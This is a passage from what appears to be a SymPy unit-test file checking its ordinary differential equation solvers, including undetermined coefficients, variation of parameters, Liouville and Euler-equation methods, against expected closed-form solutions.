_undetermined_coefficients_match(sin(x)*cos(x), x) == \ {'test': False} s = set([cos(x), x*cos(x), x**2*cos(x), x**2*sin(x), x*sin(x), sin(x)]) assert _undetermined_coefficients_match(sin(x)*(x**2 + x + 1), x) == \ {'test': True, 'trialset': s} assert _undetermined_coefficients_match( sin(x)*x**2 + sin(x)*x + sin(x), x) == {'test': True, 'trialset': s} assert _undetermined_coefficients_match( exp(2*x)*sin(x)*(x**2 + x + 1), x ) == { 'test': True, 'trialset': set([exp(2*x)*sin(x), x**2*exp(2*x)*sin(x), cos(x)*exp(2*x), x**2*cos(x)*exp(2*x), x*cos(x)*exp(2*x), x*exp(2*x)*sin(x)])} assert _undetermined_coefficients_match(1/sin(x), x) == {'test': False} assert _undetermined_coefficients_match(log(x), x) == {'test': False} assert _undetermined_coefficients_match(2**(x)*(x**2 + x + 1), x) == \ {'test': True, 'trialset': set([2**x, x*2**x, x**2*2**x])} assert _undetermined_coefficients_match(x**y, x) == {'test': False} assert _undetermined_coefficients_match(exp(x)*exp(2*x + 1), x) == \ {'test': True, 'trialset': set([exp(1 + 3*x)])} assert _undetermined_coefficients_match(sin(x)*(x**2 + x + 1), x) == \ {'test': True, 'trialset': set([x*cos(x), x*sin(x), x**2*cos(x), x**2*sin(x), cos(x), sin(x)])} assert _undetermined_coefficients_match(sin(x)*(x + sin(x)), x) == \ {'test': False} assert _undetermined_coefficients_match(sin(x)*(x + sin(2*x)), x) == \ {'test': False} assert _undetermined_coefficients_match(sin(x)*tan(x), x) == \ {'test': False} assert _undetermined_coefficients_match( x**2*sin(x)*exp(x) + x*sin(x) + x, x ) == { 'test': True, 'trialset': set([x**2*cos(x)*exp(x), x, cos(x), S(1), exp(x)*sin(x), sin(x), x*exp(x)*sin(x), x*cos(x), x*cos(x)*exp(x), x*sin(x), cos(x)*exp(x), x**2*exp(x)*sin(x)])} assert _undetermined_coefficients_match(4*x*sin(x - 2), x) == { 'trialset': set([x*cos(x - 2), x*sin(x - 2), cos(x - 2), sin(x - 2)]), 'test': True, } assert _undetermined_coefficients_match(2**x*x, x) == \ {'test': True, 'trialset': set([2**x, x*2**x])} assert _undetermined_coefficients_match(2**x*exp(2*x), x) == \ {'test': True, 'trialset': set([2**x*exp(2*x)])} assert _undetermined_coefficients_match(exp(-x)/x, x) == \ {'test': False} # Below are from Ordinary Differential Equations, # Tenenbaum and Pollard, pg. 231 assert _undetermined_coefficients_match(S(4), x) == \ {'test': True, 'trialset': set([S(1)])} assert _undetermined_coefficients_match(12*exp(x), x) == \ {'test': True, 'trialset': set([exp(x)])} assert _undetermined_coefficients_match(exp(I*x), x) == \ {'test': True, 'trialset': set([exp(I*x)])} assert _undetermined_coefficients_match(sin(x), x) == \ {'test': True, 'trialset': set([cos(x), sin(x)])} assert _undetermined_coefficients_match(cos(x), x) == \ {'test': True, 'trialset': set([cos(x), sin(x)])} assert _undetermined_coefficients_match(8 + 6*exp(x) + 2*sin(x), x) == \ {'test': True, 'trialset': set([S(1), cos(x), sin(x), exp(x)])} assert _undetermined_coefficients_match(x**2, x) == \ {'test': True, 'trialset': set([S(1), x, x**2])} assert _undetermined_coefficients_match(9*x*exp(x) + exp(-x), x) == \ {'test': True, 'trialset': set([x*exp(x), exp(x), exp(-x)])} assert _undetermined_coefficients_match(2*exp(2*x)*sin(x), x) == \ {'test': True, 'trialset': set([exp(2*x)*sin(x), cos(x)*exp(2*x)])} assert _undetermined_coefficients_match(x - sin(x), x) == \ {'test': True, 'trialset': set([S(1), x, cos(x), sin(x)])} assert _undetermined_coefficients_match(x**2 + 2*x, x) == \ {'test': True, 'trialset': set([S(1), x, x**2])} assert _undetermined_coefficients_match(4*x*sin(x), x) == \ {'test': True, 'trialset': set([x*cos(x), x*sin(x), cos(x), sin(x)])} assert _undetermined_coefficients_match(x*sin(2*x), x) == \ {'test': True, 'trialset': set([x*cos(2*x), x*sin(2*x), cos(2*x), sin(2*x)])} assert _undetermined_coefficients_match(x**2*exp(-x), x) == \ {'test': True, 'trialset': set([x*exp(-x), x**2*exp(-x), exp(-x)])} assert _undetermined_coefficients_match(2*exp(-x) - x**2*exp(-x), x) == \ {'test': True, 'trialset': set([x*exp(-x), x**2*exp(-x), exp(-x)])} assert _undetermined_coefficients_match(exp(-2*x) + x**2, x) == \ {'test': True, 'trialset': set([S(1), x, x**2, exp(-2*x)])} assert _undetermined_coefficients_match(x*exp(-x), x) == \ {'test': True, 'trialset': set([x*exp(-x), exp(-x)])} assert _undetermined_coefficients_match(x + exp(2*x), x) == \ {'test': True, 'trialset': set([S(1), x, exp(2*x)])} assert _undetermined_coefficients_match(sin(x) + exp(-x), x) == \ {'test': True, 'trialset': set([cos(x), sin(x), exp(-x)])} assert _undetermined_coefficients_match(exp(x), x) == \ {'test': True, 'trialset': set([exp(x)])} # converted from sin(x)**2 assert _undetermined_coefficients_match(S(1)/2 - cos(2*x)/2, x) == \ {'test': True, 'trialset': set([S(1), cos(2*x), sin(2*x)])} # converted from exp(2*x)*sin(x)**2 assert _undetermined_coefficients_match( exp(2*x)*(S(1)/2 + cos(2*x)/2), x ) == { 'test': True, 'trialset': set([exp(2*x)*sin(2*x), cos(2*x)*exp(2*x), exp(2*x)])} assert _undetermined_coefficients_match(2*x + sin(x) + cos(x), x) == \ {'test': True, 'trialset': set([S(1), x, cos(x), sin(x)])} # converted from sin(2*x)*sin(x) assert _undetermined_coefficients_match(cos(x)/2 - cos(3*x)/2, x) == \ {'test': True, 'trialset': set([cos(x), cos(3*x), sin(x), sin(3*x)])} assert _undetermined_coefficients_match(cos(x**2), x) == {'test': False} assert _undetermined_coefficients_match(2**(x**2), x) == {'test': False} @slow def test_nth_linear_constant_coeff_undetermined_coefficients(): hint = 'nth_linear_constant_coeff_undetermined_coefficients' g = exp(-x) f2 = f(x).diff(x, 2) c = 3*f(x).diff(x, 3) + 5*f2 + f(x).diff(x) - f(x) - x eq1 = c - x*g eq2 = c - g # 3-27 below are from Ordinary Differential Equations, # Tenenbaum and Pollard, pg. 231 eq3 = f2 + 3*f(x).diff(x) + 2*f(x) - 4 eq4 = f2 + 3*f(x).diff(x) + 2*f(x) - 12*exp(x) eq5 = f2 + 3*f(x).diff(x) + 2*f(x) - exp(I*x) eq6 = f2 + 3*f(x).diff(x) + 2*f(x) - sin(x) eq7 = f2 + 3*f(x).diff(x) + 2*f(x) - cos(x) eq8 = f2 + 3*f(x).diff(x) + 2*f(x) - (8 + 6*exp(x) + 2*sin(x)) eq9 = f2 + f(x).diff(x) + f(x) - x**2 eq10 = f2 - 2*f(x).diff(x) - 8*f(x) - 9*x*exp(x) - 10*exp(-x) eq11 = f2 - 3*f(x).diff(x) - 2*exp(2*x)*sin(x) eq12 = f(x).diff(x, 4) - 2*f2 + f(x) - x + sin(x) eq13 = f2 + f(x).diff(x) - x**2 - 2*x eq14 = f2 + f(x).diff(x) - x - sin(2*x) eq15 = f2 + f(x) - 4*x*sin(x) eq16 = f2 + 4*f(x) - x*sin(2*x) eq17 = f2 + 2*f(x).diff(x) + f(x) - x**2*exp(-x) eq18 = f(x).diff(x, 3) + 3*f2 + 3*f(x).diff(x) + f(x) - 2*exp(-x) + \ x**2*exp(-x) eq19 = f2 + 3*f(x).diff(x) + 2*f(x) - exp(-2*x) - x**2 eq20 = f2 - 3*f(x).diff(x) + 2*f(x) - x*exp(-x) eq21 = f2 + f(x).diff(x) - 6*f(x) - x - exp(2*x) eq22 = f2 + f(x) - sin(x) - exp(-x) eq23 = f(x).diff(x, 3) - 3*f2 + 3*f(x).diff(x) - f(x) - exp(x) # sin(x)**2 eq24 = f2 + f(x) - S(1)/2 - cos(2*x)/2 # exp(2*x)*sin(x)**2 eq25 = f(x).diff(x, 3) - f(x).diff(x) - exp(2*x)*(S(1)/2 - cos(2*x)/2) eq26 = (f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) - 2*x - sin(x) - cos(x)) # sin(2*x)*sin(x), skip 3127 for now, match bug eq27 = f2 + f(x) - cos(x)/2 + cos(3*x)/2 eq28 = f(x).diff(x) - 1 sol1 = Eq(f(x), -1 - x + (C1 + C2*x - 3*x**2/32 - x**3/24)*exp(-x) + C3*exp(x/3)) sol2 = Eq(f(x), -1 - x + (C1 + C2*x - x**2/8)*exp(-x) + C3*exp(x/3)) sol3 = Eq(f(x), 2 + C1*exp(-x) + C2*exp(-2*x)) sol4 = Eq(f(x), 2*exp(x) + C1*exp(-x) + C2*exp(-2*x)) sol5 = Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + exp(I*x)/10 - 3*I*exp(I*x)/10) sol6 = Eq(f(x), -3*cos(x)/10 + sin(x)/10 + C1*exp(-x) + C2*exp(-2*x)) sol7 = Eq(f(x), cos(x)/10 + 3*sin(x)/10 + C1*exp(-x) + C2*exp(-2*x)) sol8 = Eq(f(x), 4 - 3*cos(x)/5 + sin(x)/5 + exp(x) + C1*exp(-x) + C2*exp(-2*x)) sol9 = Eq(f(x), -2*x + x**2 + (C1*sin(x*sqrt(3)/2) + C2*cos(x*sqrt(3)/2))*exp(-x/2)) sol10 = Eq(f(x), -x*exp(x) - 2*exp(-x) + C1*exp(-2*x) + C2*exp(4*x)) sol11 = Eq(f(x), C1 + C2*exp(3*x) + (-3*sin(x) - cos(x))*exp(2*x)/5) sol12 = Eq(f(x), x - sin(x)/4 + (C1 + C2*x)*exp(-x) + (C3 + C4*x)*exp(x)) sol13 = Eq(f(x), C1 + x**3/3 + C2*exp(-x)) sol14 = Eq(f(x), C1 - x - sin(2*x)/5 - cos(2*x)/10 + x**2/2 + C2*exp(-x)) sol15 = Eq(f(x), (C1 + x)*sin(x) + (C2 - x**2)*cos(x)) sol16 = Eq(f(x), (C1 + x/16)*sin(2*x) + (C2 - x**2/8)*cos(2*x)) sol17 = Eq(f(x), (C1 + C2*x + x**4/12)*exp(-x)) sol18 = Eq(f(x), (C1 + C2*x + C3*x**2 - x**5/60 + x**3/3)*exp(-x)) sol19 = Eq(f(x), S(7)/4 - 3*x/2 + x**2/2 + C1*exp(-x) + (C2 - x)*exp(-2*x)) sol20 = Eq(f(x), C1*exp(x) + C2*exp(2*x) + (6*x + 5)*exp(-x)/36) sol21 = Eq(f(x), -S(1)/36 - x/6 + C1*exp(-3*x) + (C2 + x/5)*exp(2*x)) sol22 = Eq(f(x), C1*sin(x) + (C2 - x/2)*cos(x) + exp(-x)/2) sol23 = Eq(f(x), (C1 + C2*x + C3*x**2 + x**3/6)*exp(x)) sol24 = Eq(f(x), S(1)/2 - cos(2*x)/6 + C1*sin(x) + C2*cos(x)) sol25 = Eq(f(x), C1 + C2*exp(-x) + C3*exp(x) + (-21*sin(2*x) + 27*cos(2*x) + 130)*exp(2*x)/1560) sol26 = Eq(f(x), C1 + (C2 + C3*x - x**2/8)*sin(x) + (C4 + C5*x + x**2/8)*cos(x) + x**2) sol27 = Eq(f(x), cos(3*x)/16 + C1*cos(x) + (C2 + x/4)*sin(x)) sol28 = Eq(f(x), C1 + x) sol1s = constant_renumber(sol1, 'C', 1, 3) sol2s = constant_renumber(sol2, 'C', 1, 3) sol3s = constant_renumber(sol3, 'C', 1, 2) sol4s = constant_renumber(sol4, 'C', 1, 2) sol5s = constant_renumber(sol5, 'C', 1, 2) sol6s = constant_renumber(sol6, 'C', 1, 2) sol7s = constant_renumber(sol7, 'C', 1, 2) sol8s = constant_renumber(sol8, 'C', 1, 2) sol9s = constant_renumber(sol9, 'C', 1, 2) sol10s = constant_renumber(sol10, 'C', 1, 2) sol11s = constant_renumber(sol11, 'C', 1, 2) sol12s = constant_renumber(sol12, 'C', 1, 2) sol13s = constant_renumber(sol13, 'C', 1, 4) sol14s = constant_renumber(sol14, 'C', 1, 2) sol15s = constant_renumber(sol15, 'C', 1, 2) sol16s = constant_renumber(sol16, 'C', 1, 2) sol17s = constant_renumber(sol17, 'C', 1, 2) sol18s = constant_renumber(sol18, 'C', 1, 3) sol19s = constant_renumber(sol19, 'C', 1, 2) sol20s = constant_renumber(sol20, 'C', 1, 2) sol21s = constant_renumber(sol21, 'C', 1, 2) sol22s = constant_renumber(sol22, 'C', 1, 2) sol23s = constant_renumber(sol23, 'C', 1, 3) sol24s = constant_renumber(sol24, 'C', 1, 2) sol25s = constant_renumber(sol25, 'C', 1, 3) sol26s = constant_renumber(sol26, 'C', 1, 5) sol27s = constant_renumber(sol27, 'C', 1, 2) assert dsolve(eq1, hint=hint) in (sol1, sol1s) assert dsolve(eq2, hint=hint) in (sol2, sol2s) assert dsolve(eq3, hint=hint) in (sol3, sol3s) assert dsolve(eq4, hint=hint) in (sol4, sol4s) assert dsolve(eq5, hint=hint) in (sol5, sol5s) assert dsolve(eq6, hint=hint) in (sol6, sol6s) assert dsolve(eq7, hint=hint) in (sol7, sol7s) assert dsolve(eq8, hint=hint) in (sol8, sol8s) assert dsolve(eq9, hint=hint) in (sol9, sol9s) assert dsolve(eq10, hint=hint) in (sol10, sol10s) assert dsolve(eq11, hint=hint) in (sol11, sol11s) assert dsolve(eq12, hint=hint) in (sol12, sol12s) assert dsolve(eq13, hint=hint) in (sol13, sol13s) assert dsolve(eq14, hint=hint) in (sol14, sol14s) assert dsolve(eq15, hint=hint) in (sol15, sol15s) assert dsolve(eq16, hint=hint) in (sol16, sol16s) assert dsolve(eq17, hint=hint) in (sol17, sol17s) assert dsolve(eq18, hint=hint) in (sol18, sol18s) assert dsolve(eq19, hint=hint) in (sol19, sol19s) assert dsolve(eq20, hint=hint) in (sol20, sol20s) assert dsolve(eq21, hint=hint) in (sol21, sol21s) assert dsolve(eq22, hint=hint) in (sol22, sol22s) assert dsolve(eq23, hint=hint) in (sol23, sol23s) assert dsolve(eq24, hint=hint) in (sol24, sol24s) assert dsolve(eq25, hint=hint) in (sol25, sol25s) assert dsolve(eq26, hint=hint) in (sol26, sol26s) assert dsolve(eq27, hint=hint) in (sol27, sol27s) assert dsolve(eq28, hint=hint) == sol28 assert checkodesol(eq1, sol1, order=3, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=3, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=2, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=2, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=2, solve_for_func=False)[0] assert checkodesol(eq6, sol6, order=2, solve_for_func=False)[0] assert checkodesol(eq7, sol7, order=2, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=2, solve_for_func=False)[0] assert checkodesol(eq9, sol9, order=2, solve_for_func=False)[0] assert checkodesol(eq10, sol10, order=2, solve_for_func=False)[0] assert checkodesol(eq11, sol11, order=2, solve_for_func=False)[0] assert checkodesol(eq12, sol12, order=4, solve_for_func=False)[0] assert checkodesol(eq13, sol13, order=2, solve_for_func=False)[0] assert checkodesol(eq14, sol14, order=2, solve_for_func=False)[0] assert checkodesol(eq15, sol15, order=2, solve_for_func=False)[0] assert checkodesol(eq16, sol16, order=2, solve_for_func=False)[0] assert checkodesol(eq17, sol17, order=2, solve_for_func=False)[0] assert checkodesol(eq18, sol18, order=3, solve_for_func=False)[0] assert checkodesol(eq19, sol19, order=2, solve_for_func=False)[0] assert checkodesol(eq20, sol20, order=2, solve_for_func=False)[0] assert checkodesol(eq21, sol21, order=2, solve_for_func=False)[0] assert checkodesol(eq22, sol22, order=2, solve_for_func=False)[0] assert checkodesol(eq23, sol23, order=3, solve_for_func=False)[0] assert checkodesol(eq24, sol24, order=2, solve_for_func=False)[0] assert checkodesol(eq25, sol25, order=3, solve_for_func=False)[0] assert checkodesol(eq26, sol26, order=5, solve_for_func=False)[0] assert checkodesol(eq27, sol27, order=2, solve_for_func=False)[0] assert checkodesol(eq28, sol28, order=1, solve_for_func=False)[0] def test_issue_5787(): # This test case is to show the classification of imaginary constants under # nth_linear_constant_coeff_undetermined_coefficients eq = Eq(diff(f(x), x), I*f(x) + S(1)/2 - I) out_hint = 'nth_linear_constant_coeff_undetermined_coefficients' assert out_hint in classify_ode(eq) @XFAIL def test_nth_linear_constant_coeff_undetermined_coefficients_imaginary_exp(): # Equivalent to eq26 in # test_nth_linear_constant_coeff_undetermined_coefficients above. # This fails because the algorithm for undetermined coefficients # doesn't know to multiply exp(I*x) by sufficient x because it is linearly # dependent on sin(x) and cos(x). hint = 'nth_linear_constant_coeff_undetermined_coefficients' eq26a = f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) - 2*x - exp(I*x) sol26 = Eq(f(x), C1 + (C2 + C3*x - x**2/8)*sin(x) + (C4 + C5*x + x**2/8)*cos(x) + x**2) assert dsolve(eq26a, hint=hint) == sol26 assert checkodesol(eq26a, sol26, order=5, solve_for_func=False)[0] @slow def test_nth_linear_constant_coeff_variation_of_parameters(): hint = 'nth_linear_constant_coeff_variation_of_parameters' g = exp(-x) f2 = f(x).diff(x, 2) c = 3*f(x).diff(x, 3) + 5*f2 + f(x).diff(x) - f(x) - x eq1 = c - x*g eq2 = c - g eq3 = f(x).diff(x) - 1 eq4 = f2 + 3*f(x).diff(x) + 2*f(x) - 4 eq5 = f2 + 3*f(x).diff(x) + 2*f(x) - 12*exp(x) eq6 = f2 - 2*f(x).diff(x) - 8*f(x) - 9*x*exp(x) - 10*exp(-x) eq7 = f2 + 2*f(x).diff(x) + f(x) - x**2*exp(-x) eq8 = f2 - 3*f(x).diff(x) + 2*f(x) - x*exp(-x) eq9 = f(x).diff(x, 3) - 3*f2 + 3*f(x).diff(x) - f(x) - exp(x) eq10 = f2 + 2*f(x).diff(x) + f(x) - exp(-x)/x eq11 = f2 + f(x) - 1/sin(x)*1/cos(x) eq12 = f(x).diff(x, 4) - 1/x sol1 = Eq(f(x), -1 - x + (C1 + C2*x - 3*x**2/32 - x**3/24)*exp(-x) + C3*exp(x/3)) sol2 = Eq(f(x), -1 - x + (C1 + C2*x - x**2/8)*exp(-x) + C3*exp(x/3)) sol3 = Eq(f(x), C1 + x) sol4 = Eq(f(x), 2 + C1*exp(-x) + C2*exp(-2*x)) sol5 = Eq(f(x), 2*exp(x) + C1*exp(-x) + C2*exp(-2*x)) sol6 = Eq(f(x), -x*exp(x) - 2*exp(-x) + C1*exp(-2*x) + C2*exp(4*x)) sol7 = Eq(f(x), (C1 + C2*x + x**4/12)*exp(-x)) sol8 = Eq(f(x), C1*exp(x) + C2*exp(2*x) + (6*x + 5)*exp(-x)/36) sol9 = Eq(f(x), (C1 + C2*x + C3*x**2 + x**3/6)*exp(x)) sol10 = Eq(f(x), (C1 + x*(C2 + log(x)))*exp(-x)) sol11 = Eq(f(x), cos(x)*(C2 - Integral(1/cos(x), x)) + sin(x)*(C1 + Integral(1/sin(x), x))) sol12 = Eq(f(x), C1 + C2*x + x**3*(C3 + log(x)/6) + C4*x**2) sol1s = constant_renumber(sol1, 'C', 1, 3) sol2s = constant_renumber(sol2, 'C', 1, 3) sol3s = constant_renumber(sol3, 'C', 1, 2) sol4s = constant_renumber(sol4, 'C', 1, 2) sol5s = constant_renumber(sol5, 'C', 1, 2) sol6s = constant_renumber(sol6, 'C', 1, 2) sol7s = constant_renumber(sol7, 'C', 1, 2) sol8s = constant_renumber(sol8, 'C', 1, 2) sol9s = constant_renumber(sol9, 'C', 1, 3) sol10s = constant_renumber(sol10, 'C', 1, 2) sol11s = constant_renumber(sol11, 'C', 1, 2) sol12s = constant_renumber(sol12, 'C', 1, 4) assert dsolve(eq1, hint=hint) in (sol1, sol1s) assert dsolve(eq2, hint=hint) in (sol2, sol2s) assert dsolve(eq3, hint=hint) in (sol3, sol3s) assert dsolve(eq4, hint=hint) in (sol4, sol4s) assert dsolve(eq5, hint=hint) in (sol5, sol5s) assert dsolve(eq6, hint=hint) in (sol6, sol6s) assert dsolve(eq7, hint=hint) in (sol7, sol7s) assert dsolve(eq8, hint=hint) in (sol8, sol8s) assert dsolve(eq9, hint=hint) in (sol9, sol9s) assert dsolve(eq10, hint=hint) in (sol10, sol10s) assert dsolve(eq11, hint=hint + '_Integral') in (sol11, sol11s) assert dsolve(eq12, hint=hint) in (sol12, sol12s) assert checkodesol(eq1, sol1, order=3, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=3, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=2, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=2, solve_for_func=False)[0] assert checkodesol(eq6, sol6, order=2, solve_for_func=False)[0] assert checkodesol(eq7, sol7, order=2, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=2, solve_for_func=False)[0] assert checkodesol(eq9, sol9, order=3, solve_for_func=False)[0] assert checkodesol(eq10, sol10, order=2, solve_for_func=False)[0] assert checkodesol(eq12, sol12, order=4, solve_for_func=False)[0] @slow def test_nth_linear_constant_coeff_variation_of_parameters_simplify_False(): # solve_variation_of_parameters shouldn't attempt to simplify the # Wronskian if simplify=False. If wronskian() ever gets good enough # to simplify the result itself, this test might fail. hint = 'nth_linear_constant_coeff_variation_of_parameters' assert dsolve(f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) - 2*x - exp(I*x), f(x), hint + "_Integral", simplify=False) != \ dsolve(f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) - 2*x - exp(I*x), f(x), hint + "_Integral", simplify=True) def test_Liouville_ODE(): hint = 'Liouville' # The first part here used to be test_ODE_1() from test_solvers.py eq1 = diff(f(x), x)/x + diff(f(x), x, x)/2 - diff(f(x), x)**2/2 eq1a = diff(x*exp(-f(x)), x, x) # compare to test_unexpanded_Liouville_ODE() below eq2 = (eq1*exp(-f(x))/exp(f(x))).expand() eq3 = diff(f(x), x, x) + 1/f(x)*(diff(f(x), x))**2 + 1/x*diff(f(x), x) eq4 = x*diff(f(x), x, x) + x/f(x)*diff(f(x), x)**2 + x*diff(f(x), x) eq5 = Eq((x*exp(f(x))).diff(x, x), 0) sol1 = Eq(f(x), log(x/(C1 + C2*x))) sol1a = Eq(C1 + C2/x - exp(-f(x)), 0) sol2 = sol1 sol3 = set( [Eq(f(x), -sqrt(C1 + C2*log(x))), Eq(f(x), sqrt(C1 + C2*log(x)))]) sol4 = set([Eq(f(x), sqrt(C1 + C2*exp(x))*exp(-x/2)), Eq(f(x), -sqrt(C1 + C2*exp(x))*exp(-x/2))]) sol5 = Eq(f(x), log(C1 + C2/x)) sol1s = constant_renumber(sol1, 'C', 1, 2) sol2s = constant_renumber(sol2, 'C', 1, 2) sol3s = constant_renumber(sol3, 'C', 1, 2) sol4s = constant_renumber(sol4, 'C', 1, 2) sol5s = constant_renumber(sol5, 'C', 1, 2) assert dsolve(eq1, hint=hint) in (sol1, sol1s) assert dsolve(eq1a, hint=hint) in (sol1, sol1s) assert dsolve(eq2, hint=hint) in (sol2, sol2s) assert set(dsolve(eq3, hint=hint)) in (sol3, sol3s) assert set(dsolve(eq4, hint=hint)) in (sol4, sol4s) assert dsolve(eq5, hint=hint) in (sol5, sol5s) assert checkodesol(eq1, sol1, order=2, solve_for_func=False)[0] assert checkodesol(eq1a, sol1a, order=2, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=2, solve_for_func=False)[0] assert all(i[0] for i in checkodesol(eq3, sol3, order=2, solve_for_func=False)) assert all(i[0] for i in checkodesol(eq4, sol4, order=2, solve_for_func=False)) assert checkodesol(eq5, sol5, order=2, solve_for_func=False)[0] not_Liouville1 = classify_ode(diff(f(x), x)/x + f(x)*diff(f(x), x, x)/2 - diff(f(x), x)**2/2, f(x)) not_Liouville2 = classify_ode(diff(f(x), x)/x + diff(f(x), x, x)/2 - x*diff(f(x), x)**2/2, f(x)) assert hint not in not_Liouville1 assert hint not in not_Liouville2 assert hint + '_Integral' not in not_Liouville1 assert hint + '_Integral' not in not_Liouville2 def test_unexpanded_Liouville_ODE(): # This is the same as eq1 from test_Liouville_ODE() above. eq1 = diff(f(x), x)/x + diff(f(x), x, x)/2 - diff(f(x), x)**2/2 eq2 = eq1*exp(-f(x))/exp(f(x)) sol2 = Eq(f(x), log(x/(C1 + C2*x))) sol2s = constant_renumber(sol2, 'C', 1, 2) assert dsolve(eq2) in (sol2, sol2s) assert checkodesol(eq2, sol2, order=2, solve_for_func=False)[0] def test_issue_4785(): from sympy.abc import A eq = x + A*(x + diff(f(x), x) + f(x)) + diff(f(x), x) + f(x) + 2 assert classify_ode(eq, f(x)) == ('1st_linear', 'almost_linear', '1st_power_series', 'lie_group', 'nth_linear_constant_coeff_undetermined_coefficients', 'nth_linear_constant_coeff_variation_of_parameters', '1st_linear_Integral', 'almost_linear_Integral', 'nth_linear_constant_coeff_variation_of_parameters_Integral') # issue 4864 eq = (x**2 + f(x)**2)*f(x).diff(x) - 2*x*f(x) assert classify_ode(eq, f(x)) == ('1st_exact', '1st_homogeneous_coeff_best', '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep', '1st_power_series', 'lie_group', '1st_exact_Integral', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_homogeneous_coeff_subs_dep_div_indep_Integral') def test_issue_4825(): raises(ValueError, lambda: dsolve(f(x, y).diff(x) - y*f(x, y), f(x))) assert classify_ode(f(x, y).diff(x) - y*f(x, y), f(x), dict=True) == \ {'default': None, 'order': 0} # See also issue 3793, test Z13. raises(ValueError, lambda: dsolve(f(x).diff(x), f(y))) assert classify_ode(f(x).diff(x), f(y), dict=True) == \ {'default': None, 'order': 0} def test_constant_renumber_order_issue_5308(): from sympy.utilities.iterables import variations assert constant_renumber(C1*x + C2*y, "C", 1, 2) == \ constant_renumber(C1*y + C2*x, "C", 1, 2) == \ C1*x + C2*y e = C1*(C2 + x)*(C3 + y) for a, b, c in variations([C1, C2, C3], 3): assert constant_renumber(a*(b + x)*(c + y), "C", 1, 3) == e def test_issue_5770(): k = Symbol("k", real=True) t = Symbol('t') w = Function('w') sol = dsolve(w(t).diff(t, 6) - k**6*w(t), w(t)) assert len([s for s in sol.free_symbols if s.name.startswith('C')]) == 6 assert constantsimp((C1*cos(x) + C2*cos(x))*exp(x), set([C1, C2])) == \ C1*cos(x)*exp(x) assert constantsimp(C1*cos(x) + C2*cos(x) + C3*sin(x), set([C1, C2, C3])) == \ C1*cos(x) + C3*sin(x) assert constantsimp(exp(C1 + x), set([C1])) == C1*exp(x) assert constantsimp(x + C1 + y, set([C1, y])) == C1 + x assert constantsimp(x + C1 + Integral(x, (x, 1, 2)), set([C1])) == C1 + x def test_issue_5112_5430(): assert homogeneous_order(-log(x) + acosh(x), x) is None assert homogeneous_order(y - log(x), x, y) is None def test_nth_order_linear_euler_eq_homogeneous(): x, t, a, b, c = symbols('x t a b c') y = Function('y') our_hint = "nth_linear_euler_eq_homogeneous" eq = diff(f(t), t, 4)*t**4 - 13*diff(f(t), t, 2)*t**2 + 36*f(t) assert our_hint in classify_ode(eq) eq = a*y(t) + b*t*diff(y(t), t) + c*t**2*diff(y(t), t, 2) assert our_hint in classify_ode(eq) eq = Eq(-3*diff(f(x), x)*x + 2*x**2*diff(f(x), x, x), 0) sol = C1 + C2*x**Rational(5, 2) sols = constant_renumber(sol, 'C', 1, 3) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(3*f(x) - 5*diff(f(x), x)*x + 2*x**2*diff(f(x), x, x), 0) sol = C1*sqrt(x) + C2*x**3 sols = constant_renumber(sol, 'C', 1, 3) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(4*f(x) + 5*diff(f(x), x)*x + x**2*diff(f(x), x, x), 0) sol = (C1 + C2*log(x))/x**2 sols = constant_renumber(sol, 'C', 1, 3) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(6*f(x) - 6*diff(f(x), x)*x + 1*x**2*diff(f(x), x, x) + x**3*diff(f(x), x, x, x), 0) sol = dsolve(eq, f(x), hint=our_hint) sol = C1/x**2 + C2*x + C3*x**3 sols = constant_renumber(sol, 'C', 1, 4) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(-125*f(x) + 61*diff(f(x), x)*x - 12*x**2*diff(f(x), x, x) + x**3*diff(f(x), x, x, x), 0) sol = x**5*(C1 + C2*log(x) + C3*log(x)**2) sols = [sol, constant_renumber(sol, 'C', 1, 4)] sols += [sols[-1].expand()] assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in sols assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = t**2*diff(y(t), t, 2) + t*diff(y(t), t) - 9*y(t) sol = C1*t**3 + C2*t**-3 sols = constant_renumber(sol, 'C', 1, 3) assert our_hint in classify_ode(eq) assert dsolve(eq, y(t), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] def test_nth_order_linear_euler_eq_nonhomogeneous_undetermined_coefficients(): x, t = symbols('x t') a, b, c, d = symbols('a b c d', integer=True) our_hint = "nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients" eq = x**4*diff(f(x), x, 4) - 13*x**2*diff(f(x), x, 2) + 36*f(x) + x assert our_hint in classify_ode(eq, f(x)) eq = a*x**2*diff(f(x), x, 2) + b*x*diff(f(x), x) + c*f(x) + d*log(x) assert our_hint in classify_ode(eq, f(x)) eq = Eq(x**2*diff(f(x), x, x) + x*diff(f(x), x), 1) sol = C1 + C2*log(x) + 